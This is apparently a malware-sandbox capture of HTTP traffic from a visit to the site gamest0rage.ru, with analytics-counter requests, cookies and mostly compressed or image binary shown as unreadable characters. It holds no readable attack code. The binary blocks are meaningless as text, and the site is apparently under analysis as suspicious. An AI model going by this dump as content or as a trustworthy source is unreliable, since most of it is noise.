<html>..<head><title>301 Moved Permanently</title></head>..<body bgcolor="white">..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.6.3</center>..</body>..</html>..HTTP/1.1 301 Moved Permanently..Server: nginx/1.6.3..Date: Thu, 17 Sep 2015 03:04:14 GMT..Content-Type: text/html..Content-Length: 184..Connection: keep-alive..Location: hXXps://mc.yandex.ru/metrika/watch.js..<html>..<head><title>301 Moved Permanently</title></head>..<body bgcolor="white">..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.6.3</center>..</body>..</html>....

GET /hit?t57.11;r;s1276*846*32;uhttp://gamest0rage.ru/index.html;0.25825136608109023 HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: counter.yadro.ru

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Date: Thu, 17 Sep 2015 03:04:08 GMT

Server: 0W/0.8c

Content-Type: text/html

Location: hXXp://counter.yadro.ru/hit?q;t57.11;r;s1276*846*32;uhttp://gamest0rage.ru/index.html;0.25825136608109023

Content-Length: 32

Expires: Tue, 16 Sep 2014 21:00:00 GMT

Pragma: no-cache

Cache-control: no-cache

P3P: policyref="/w3c/p3p.xml", CP="UNI"

Set-Cookie: FTID=1L-Yse1A9jLN1L-Yse; path=/; expires=Thu, 15 Sep 2016 21:00:00 GMT; domain=.yadro.ru

<html><body>Moved</body></html>.....

GET /hit?q;t57.11;r;s1276*846*32;uhttp://gamest0rage.ru/index.html;0.25825136608109023 HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: counter.yadro.ru

Connection: Keep-Alive

Cookie: FTID=1L-Yse1A9jLN1L-Yse

HTTP/1.1 200 OK

Date: Thu, 17 Sep 2015 03:04:09 GMT

Server: 0W/0.8c

Connection: Close

Content-Type: image/gif

Content-Length: 918

Expires: Tue, 16 Sep 2014 21:00:00 GMT

Pragma: no-cache

Cache-control: no-cache

P3P: policyref="/w3c/p3p.xml", CP="UNI"

Set-Cookie: VID=2SGon72LkB5N1L-Ysf; path=/; expires=Thu, 15 Sep 2016 21:00:00 GMT; domain=.yadro.ru

GIF89aX....y..................................................................................................................................k..@S{...d..AT}BU~...CV.............c........?Qx...c..=Nt...b..;Lq...b~.9Im...a~.6Fh...a}.4Cc...a}.2A`...`|./=Z..._{.-:U..._{.*6P..._z.'3K...^z.%0G...#-B...^y.!*>...]y..(:...]x..&8....$5...]x.."2...."1c}.a{._z.]w.e... .>CM05?(,7. *KOY.....................,....X......................5.............;;"..."$.$(....).*............ ,. .............0.*.............2..33...............24...........25.V.#GP\....&<........k.P....3b.x..G..9F.........\..e...6~.9.$..)..T.....1=..g....;r.u.R$:.M.A-..*..I.q......^.J.*... "..[.m..!.$.......#9...........I.D.....0)...."O..vL9Y.)S&W.L.J...C....J^.<..[].,.z...&...@aW.xI9..m.... .:8p... /..J...Q7\h.*....'g]... `..f.U.....g....y....9M].P....7.5{....1.......f.Q........2...i.....b...o..!.q.(..$.h..(..b.r....0.(#.u.X..8.q..<....@.)..D..G .;..

GET /Contema.js HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: j.contema.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Fri, 24 Jul 2015 14:46:21 GMT

Accept-Ranges: bytes

ETag: "801c57811fc6d01:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:00 GMT

Content-Length: 2046

...........Z.n.F..~....E..V$..%...4.q..=..|(`....$..I. .ij.M.8.r@......4n.$N^.|..@_.....KR2....pB...3.........o..a..rlbL1ZC...'.. ... .h4.5b:6....;z.9.....$.P.].....dR...;.Ju K8...A@(b.......>.....BL{.St..j.3Z[C.......C.........,C...9.!..#T..u.....o..eT\.'..H~.(..N&....0......\.k.r.0q<.k..[.a..~.}.h.A.7.6.%.G......!..".*Z..d~. ...M.n. ..N.W..n.[.D..R[m....z...p.........Vd..r..}1L.>u>"z.......HL..I7Fxf....R...2........#y(skX.......?1q.R...9..6.t.a.....]..b4.i.1...L..f:.OR..:%.:.......P.$b..^D..$.<...`.r..yxj S_.R....C].'.N4.....R..d.@IQ..@rB...h`m....Y.L.E........h`.....-.. q.C.....Zb.......s....?....b.)..>.#].k..PLp.....%.....#......M.2............q.p.....b...L.U..D.I).`{ .G.. .....|.E..^\..k.cY4......=.....*.L........^,..C.N...;......h.@.3l2`&.f.G....x...7q5k.(.,...~....#.f..r.Z.....pP... K...!...}. ......V3...^...Z}..]Q..W.T...5..Q..B]\7$.v^zY.n..yC....p......M..t.v..G.....[=......n_..W......g.9...p@.\....x....?b..N.F..[......r....R...$SGU.P>m....$.A............7:.Z.Q\.T..r5..v].9b"g.%.c9c.w..j..P..F.#@N..b.._..9....xH65.,........i....hv.S....q.l...C9.,...E:X.\:..kW..z{..........J./..?(d.F.O.y......|4.77.B<Kl.V..&...o.......&.g6..P....9.El>...r}E..dm...mam.>.SE<..Z...p\......K..e.,.e'8...3...q..........-..h.)...EX..zy.......@5..^.....&m.o......?.?*l...}..p%R... .:b...o...'...<.T2....,.uQ.....Gx''..e,E#..4.r.$..`....Sc.[.gnz_...c..F...WC).;T.y...A(.6|.<.N.......O.'..(<......Ix.bE...5..m..)...!......SC.Q\...M..m..)>@.T:.J........TS...K*.....R.!.3.....U>..<..{..

<<< skipped >>>

GET /i615/1505/80/0cc3a7c6f208.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s019.radikal.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Sun, 24 May 2015 13:06:08 GMT

Accept-Ranges: bytes

ETag: "8ae66b662296d01:0"

Server: Microsoft-IIS/7.0

X-Powered-By: ASP.NET

Set-Cookie: __RADVUID=94903310adaa0f74; expires=Mon, 16-Sep-2030 21:04:11 GMT; path=/; domain=.radikal.ru

Date: Thu, 17 Sep 2015 03:04:10 GMT

Connection: close

Content-Length: 163517

.PNG........IHDR.......%.............sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....IDATx^...x.W.-,[f.[.....e.I.,.....vbH..q.r8q8...;..........y3.{3..}._...{.^. ].r.N..;_..:u.Tu......w.>|......?........3......\.....e..q.#G.r.1.[......].....e...o.#.;.....b.\.6}.....w.....1..8..k.........=.{O...(- .......u.0..;.A.>..<.#......b.C......|x..`.P.o......a.wZ.....q....Q_.v.X.....~....~{w..u..vo>.C.....S.....#G.....Q......^....@t|.Rrk.....~i.&.o....x....H.&....{...:.......W...........I.......X.N.Fdp.""...R...l..9.C]].`j..L.T..........O.....j>..x.._S.q...%..[#.....o.f.k.F......e{.m..]9...0..|M... ....~?.9.v.#.....0..w....~......{0....C..q....e;O....u..[....'N....pD......!.~...Eva5...0..S..........srr.........\/...|...P\R...............!......_P...7...#.UTV.c}|&....e.eHMK....;z..u....U.... <"B.....qq..3...-DgW'V.^...`..?.<......X..}.....e..a..u.F.f5...:...?e_}...46W.O...@..r..=..x..s..<;.<x.>..[...s...|]G .c<.'O........p!.....g..P...!.u.W.!...0...w.6...0......~....'......\..........@...o....Hh6o....].Z.....c9#L.}.7................T2..6.S<.Q...g......k....y..~.7..o{.S..y. **...f.=r4..<...f....{..............(....m..&...V.........~8#..0...?.^...l....7v...........^.^...x...8t..<...y..|..'....1....O<.#.......w..]|....... '.S'O..g.....q......R...c;.y...?.....{.../.f...o...x...p..i......... ... ..#8a.w..1E ihhP....O.4IM$...j{Hh(.O.....!;'GM0rlTt../.erJ....k.S|...s..@uu5....@..;`l2.z.........{.mr.QQQJ..g....&.P...1..*;;.^...<.9...M.....sR.$Ay...h.......

<<< skipped >>>

GET /index.html HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.28

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; path=/

X-Powered-By: PleskLin

Set-Cookie: uid_zxcv=258cc02055fa2da7a95b1963030c8402; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/

Content-Encoding: gzip

10a2.............][s...~.T.?4........K3....SV....ly]...3.........J.u......'....U.LS.E."U._...=...`.3.%....$.@_O....;..@g.........&..Cg....J.!.)..#.}4.7.....27.....DLq..Bv5T0.ys@.......(.$,.Qk#))...aO..`..YW.......\.[.......M&....v.......a].....a....a.0..=..F.$..... h'...L.m..p.?.o`0...$:...!.0z@..G.....I.qt...?@.]L..?.v.....k8..~......>...."d..9.{..|..JA8q.b..bx^..>.U..[.....IR...Bl..."..<...,.`......$.......*.......T....QH..L.^.x.....Y..H..E$Z..g..s-......0..{..2..$#.....[.&...4.. m.R...m.R.!Ye!..d.]..T... ..k......Yc3........m..V~SZY.{k..V~%./.3P.:.b.l......:.vI..\V.L dA.,xm.<D3'`.R..1..JS..V:..$.C.. ..A}"~....`...=.*....A?y0.1....Bl..WWR...P..\...x.L..LT8.E.J....>u-).8.o.......@w..>L..E.....HMv.u........<dt.S).._..w...cP...QhR........ .........Db.YHG-.]...a....6.......e..](.......@..PZ..].=.U....Q.0...Pg(W.^8}Y'IR.......g....6......_.L\SL.E..zPK..=...p....]\1.a..s.Z.1....)Y&}.E.b.Fprul7H....p&...jWJ..9... I.EC*SK6....I....k-....5....5.6.:p<H......j..s.=..RH@.....p.xl..r.....].......[......8....w0...w.D....;k3 .&.........P..;M.w&.....dW.E...Q....QK....a.. ......(.-..._.....l..C....Iz.....P...nx.....S........c..~gC.Y..L...k............ ......zc..E0..J.8..14..\..^.......]..r.bq.G.1.....7eX..P..=G.P.....j.....v.L.E........./.|{H.I..<<E.'....yr`....x".....6q.(...V..4.3..x.p..Z. ...E.../...._....78U.........X.c.m m.-.<Z.o.1'.A.....j...y?..)..Rp.#..:....4.......|...........?%(..1#......F|3...Y.W.<=.......2..o&J ...Y.n..m....h..A......W...C...NB..R.&4....m#G......^..&..p!...pO..6

<<< skipped >>>

GET /style/css/bootstrap.min.css HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/css

Last-Modified: Sun, 17 May 2015 18:57:42 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"5558e4a6-1abea"

X-Powered-By: PleskLin

Content-Encoding: gzip

4679.............}k..8..........)[%...............a#...dKNkZ.<.\...~..M..$...q...1].$...H...~.........Q.M.T.i.i.M.x.v.4......f...myx...\..V....L..x..3...s.4Y5.....8.....Xg..|L.j....M".9....7.......`...)...CR3T.../........]~...?..euH...,..5'4....-0..._.u....,k.o..eW....9....:9..:...z.9...7.&...j.?J.....q....G....n.....T...1.&U.o.l..y....I......mrj....=W.p...x......\........1.4..........%..S.|}d<..rM.i^....SR.OU.\eu=..:,.d~,.c6....2NUR.........x.D.x,..?m.S...?.3(..1[.3.]6...y.f...&;..&s...e.l...8....1.1ac..8../......N9.6...&o...eSV...M.4..q|.2H..Yz......g)....e._..Q...."{..6..u?.2....0....I.q........,....8.....v..Z3.Q.!.<0..gF..t9.u...Xel.lL..r..ZpZ3.d6.....Q4g.0..5.Q4.%..Yq.....,..X1=yw......G)..T"=.1..,>}....!C.....)....\..Q.1}.........h.I.My..L....L..a..N..:...>%.lh~..cD_7g...0?....<5r.0~1.....TYb..h..{..k...T.)L..Oy.o.L. Q^..f.....EA*... .@..S....(.?.A..eY..0!....E.:9.....f...z{.jF..... ..Ol.$...#...^T.4.%.B...Q.lWn..(?...!....S..\xL..>...TT.,^.h..l....;..-.v.@5.....T...B...|.d.G6 .....>......../....BU.....{tL/.!kD......H..,..`..M.d.T.4..U..&L..~........l..D...g....3l09}.:....,.tP...V."{..).\f.........p=. ?_. ....Er..G...I...v|..!K.dp.............j.c...z......P..~........8....j...w|.a&L.7VD.......}..>>&;....B.o.o........w.7..@[IB.j........=a....O.P...........}(.....kr.....j.&.3s*...a...8...2O..wd.G .<...H...a..3pT{^wH..>.i..~...i.....KY..L^..5. ?._...`..RH......@.1_k.T.'....L..o{.b...C.i.O..)R3...<.OO.L.:3.#L[.Q.l...9.S.]....H.KH.o7.aP."..i..\....6s....Z|=.s.2....b.4...a

<<< skipped >>>

GET /style/js/html5shiv.js HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT

ETag: W/"1fc28b6-3cf-4d317a81ca240"

X-Powered-By: PleskLin

Set-Cookie: uid_zxcv=258cc02055fa2da7a95b1963030c8402; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/

Content-Encoding: gzip

236............mS.n.0...).\zI.4..-.......uh2.=*6m..%O....GYN..............:.....~.v...z.X.7C..x]d.x.d......-@n....Wr..,.....(L.....p.....`4P-.8..h.$...^.....n..u.....~. ....r..K[.N.....8..J.gWWX6...c.$.4.%.0...4..........q.$...(.. W.$5v.4)Q..8.2...V#...*c.9.JN.@x&0e...h..7..tNT..uB..k.R.)..sY.....R\.T..|..cO.......F.....t..E .7.!g.P.(..r.!GO.cg-3Q.de~.C.R.`\').!..b..{......p.....>M......2...|....9j.a.N.... J#n...P...%....9.(...Bm|U...8..zV....a.......".k#.lZ....b...../C...."GYq.fXk%YqXe.o.....d....R.#.,.........#.Fj..f..r......g......{.ol.^....VV5...".l.............0..HTTP/1.1 404 Not Found..Server: nginx..Date: Thu, 17 Sep 2015 03:04:08 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT..ETag: W/"1fc28b6-3cf-4d317a81ca240"..X-Powered-By: PleskLin..Set-Cookie: uid_zxcv=258cc02055fa2da7a95b1963030c8402; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/..Content-Encoding: gzip..236............mS.n.0...).\zI.4..-.......uh2.=*6m..%O....GYN..............:.....~.v...z.X.7C..x]d.x.d......-@n....Wr..,.....(L.....p.....`4P-.8..h.$...^.....n..u.....~. ....r..K[.N.....8..J.gWWX6...c.$.4.%.0...4..........q.$...(.. W.$5v.4)Q..8.2...V#...*c.9.JN.@x&0e...h..7..tNT..uB..k.R.)..sY.....R\.T..|..cO.......F.....t..E .7.!g.P.(..r.!GO.cg-3Q.de~.C.R.`\').!..b..{......p.....>M......2...|....9j.a.N.... J#n...P...%....9.(...Bm|U...8..zV....a.......".k#.lZ....b...../C...."GYq.fXk%YqXe.o.....d....R.#.,.........#.Fj..f..r......g......{.ol.^

<<< skipped >>>

GET /style/js/respond.min.js HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT

ETag: W/"1fc28b6-3cf-4d317a81ca240"

X-Powered-By: PleskLin

Set-Cookie: uid_zxcv=258cc02055fa2da7a95b1963030c8402; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/

Content-Encoding: gzip

236............mS.n.0...).\zI.4..-.......uh2.=*6m..%O....GYN..............:.....~.v...z.X.7C..x]d.x.d......-@n....Wr..,.....(L.....p.....`4P-.8..h.$...^.....n..u.....~. ....r..K[.N.....8..J.gWWX6...c.$.4.%.0...4..........q.$...(.. W.$5v.4)Q..8.2...V#...*c.9.JN.@x&0e...h..7..tNT..uB..k.R.)..sY.....R\.T..|..cO.......F.....t..E .7.!g.P.(..r.!GO.cg-3Q.de~.C.R.`\').!..b..{......p.....>M......2...|....9j.a.N.... J#n...P...%....9.(...Bm|U...8..zV....a.......".k#.lZ....b...../C...."GYq.fXk%YqXe.o.....d....R.#.,.........#.Fj..f..r......g......{.ol.^....VV5...".l.............0..HTTP/1.1 404 Not Found..Server: nginx..Date: Thu, 17 Sep 2015 03:04:08 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Last-Modified: Sat, 12 Jan 2013 13:47:45 GMT..ETag: W/"1fc28b6-3cf-4d317a81ca240"..X-Powered-By: PleskLin..Set-Cookie: uid_zxcv=258cc02055fa2da7a95b1963030c8402; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/..Content-Encoding: gzip..236............mS.n.0...).\zI.4..-.......uh2.=*6m..%O....GYN..............:.....~.v...z.X.7C..x]d.x.d......-@n....Wr..,.....(L.....p.....`4P-.8..h.$...^.....n..u.....~. ....r..K[.N.....8..J.gWWX6...c.$.4.%.0...4..........q.$...(.. W.$5v.4)Q..8.2...V#...*c.9.JN.@x&0e...h..7..tNT..uB..k.R.)..sY.....R\.T..|..cO.......F.....t..E .7.!g.P.(..r.!GO.cg-3Q.de~.C.R.`\').!..b..{......p.....>M......2...|....9j.a.N.... J#n...P...%....9.(...Bm|U...8..zV....a.......".k#.lZ....b...../C...."GYq.fXk%YqXe.o.....d....R.#.,.........#.Fj..f..r......g......{.ol.^

<<< skipped >>>

GET /style/images/webmoney.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/png

Content-Length: 2378

Last-Modified: Sun, 24 May 2015 17:58:30 GMT

Connection: keep-alive

ETag: "55621146-94a"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...V.........t.......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:38D6E72FE32411E3B37184B71279972C" xmpMM:DocumentID="xmp.did:38D6E730E32411E3B37184B71279972C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:38D6E72DE32411E3B37184B71279972C" stRef:documentID="xmp.did:38D6E72EE32411E3B37184B71279972C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx...oH.g....../..t.N. ......X..C...2h..(.V/../.{..3."m."7HaA4..Al......N...5..0.t{..tp...cgO..7..X.....s~.s.s..{.....:..z..*...V p..L....;.7_...w.adF...v..C.z/~\X..a.p}.....M/..._.&Y4..|.\.p....m...}?\z...,/.U........U....L'...Z$...-.....X`.!.....k~P.tx......[_......7t...d.o<2...p...&.*K6.KK..pz...w.....hd..3M........{.M...V..a.....a...^.m.H.....8I.i%......r..x.........B.mvFT..g....w.....e..7X.,.5(sp..'a....&.ox.....D$.9Y...D..K.AC. ,.......N-...p.........C"/.......0......=.L$....-a.^.r(.......V.F....g......{G..$.!..-k...x.V/.....O4....]yk/...3S.........%....7k..d.>x.....E..

<<< skipped >>>

GET /style/images/crossfire.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/png

Content-Length: 8828

Last-Modified: Mon, 18 May 2015 16:20:08 GMT

Connection: keep-alive

ETag: "555a1138-227c"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...<...<.....:..r.."CIDATx..{.xUe...........z.{....CBH.)...$4!.@.B. ]..t.)."..v.Q.G...)....>^.-..8...}..g?...s....{...s......#....h.F...$.F..:t..O<1F...=z.... .1.4....O.<.6.fDs.;vl...v....|.*CC..*.j....*;;......,--......&&&.4.._.^"4....s.2dH...;f....zG__....9.......___... 00Py.......w....z{{...<kkkG~n4....&.....h....X.t.)z. .555....<<<.........:.t.F...<2.`.aaa........ ...}...r.............'...<x.6.&1......{Y8.......`...(&...#kaj....)_...c...a`~ .066......2....:.N.y..'.>.Q.x........`cc.DQ"'.G......~..HLHBnn.**.Q>..Y........|..M@IQ.b##....'.5...0|.p.<..333.-...T.b..e.....v.~.J..,....!.....u.....Gzv!ZZ..v.F..{.{....-;....E.U.KMGbZ...JQ?y2Zj 1....u-HN...{G.........a...........2..2,.}..y.....}.;Y.).m.=8..!-..-.....A\...>.......v.:....T.5 %7.A..p...........P.M*...fL,.D..'.llaef....u.a....L.a..Q.FYi..o....:...f....y.......k;'.F.".h.f.Y.-[v....q..o......w.......`.J.k..5....p........F..4Cv.....0%;...N...........26.\S..8XGGG.~......5....Y.u.m.G.b../^.4h.\...^...aaIDFb:..2p`.r|u.K........q.. xz..Lm....&.UU#&%..lG6,r.....!..,Q......(.S#/5..y...Y...z.x...J..u.........f.............:.....}.'..RmC........T$G%.4%......K.........3...&..:.e}..T.24..2o.......P......@......].....9..hm.G..m.Z...S;....'{...:)]@(."y...".70...-z.....t...%.R........}P.....lL..F{..,.9..w,.._......>.....?....b..n......;.b.f.Z..........Z@O.....N.*...bIC.....i.^..Y...LD....?.J....Eio.&.-k..nY....IV.:..M.Yi7rr=.-x:.aBN0&..# ...Q..Hq....x..~...o..g_..._..s.p...q.....s.....M{.c....\.....PY.`..5.t

<<< skipped >>>

GET /style/js/easypiechart.js HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: text/javascript

Last-Modified: Sun, 17 May 2015 14:11:19 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"5558a187-236a"

X-Powered-By: PleskLin

Content-Encoding: gzip

bb5..............k..F...W4u\,/...;......RT....q.(.j,.m.....ko..=.=3..l/\........{Z.OO...)HQ.]e.r!JM..d...H..U..g.h..,RYB.-W...(...2..).....V:[f...*..........,.E%...Z/T..j*K./s.U.b)...'6....?.."..D-.B..z5..K...<|...S..e.......1...ON...H4.F.R..3.hU......'.E.n%...v.PT.L&.U..2.].E..J...k0G)*.o...Q..okY.u{..F.......K*gY!..'Y....n.b..L.j.........c.......$..|..EV!......dx...f.......Z.P...Q.....X. Q.%|z....\.e.w(.....7/......g....Z.5.d...a.cR.V......DF....(...........H..;...d!..Dr3/..H/.2.9.T%k:B......2.......#.X.V..r..id.x'..5~...o.....(.\.=x@..L..){\....gE....zgwbe.[....s./U...e<O.|vk..z.!.&.'N%q..K..am...v*o1| ..JD...C...s.MV.j....l .k.D.)..Cy.#.H..Y.;....f...}(t...m.C.QeE..3w..3..Y..Qoc~..b..:..~..V..?.D.2E.iY......dy..t).*....p..}h....K....`..(.sC..D.....QM......Q...Z.E|..)..J.fk......@....RU.([...t.K.c..\.X.E.sB".[&..!......$vV......H$L%..Y.-s1........R..,.s......'......#.??...n%.z]..(*.........9...z^..e..L.;.......k0.KP..U1....f..N.Y..o..5...y..X/....V8.o......j{.k%K..Y]._....R:D4....:.IH.g=.44~@p...AZda.^...c...N.[-1....EO..I..^..R.....U.1.o....~.#..t..0.b......=.....v.s.(.$..1....O....s.k)..~..$..F...AY.N.H{.L..[..a.!S.wu...SS.o.`.vJ.V.Y%..S..Rs..:s....S....Z...;. .[.1..~..>........C<....nHFv.c...Q|..Fz.....u _.F...'-.....J.<}9.\c...a..r.dj.....a.6..`.<...UZ) .......;....5.3.G....}....u....M9...wG.,%v.)...e.j.)..)6"..a{....d4..... ....B....na6rz.....\.....I......@......A..F#....1.i....| ..uo.l.0O&....<.Ga.7...") }........U.........P&......Y...k..|...6. .l.*U.*..@=;.u.'m.N...L..f.G_...?.$..

<<< skipped >>>

GET /style/js/bootstrap-datepicker.js HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gamest0rage.ru

Connection: Keep-Alive

Cookie: PHPSESSID=1b070d828bae09572e6467f2129594cf; uid_zxcv=258cc02055fa2da7a95b1963030c8402

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: text/javascript

Last-Modified: Sun, 17 May 2015 14:11:16 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"5558a184-b6e6"

X-Powered-By: PleskLin

Content-Encoding: gzip

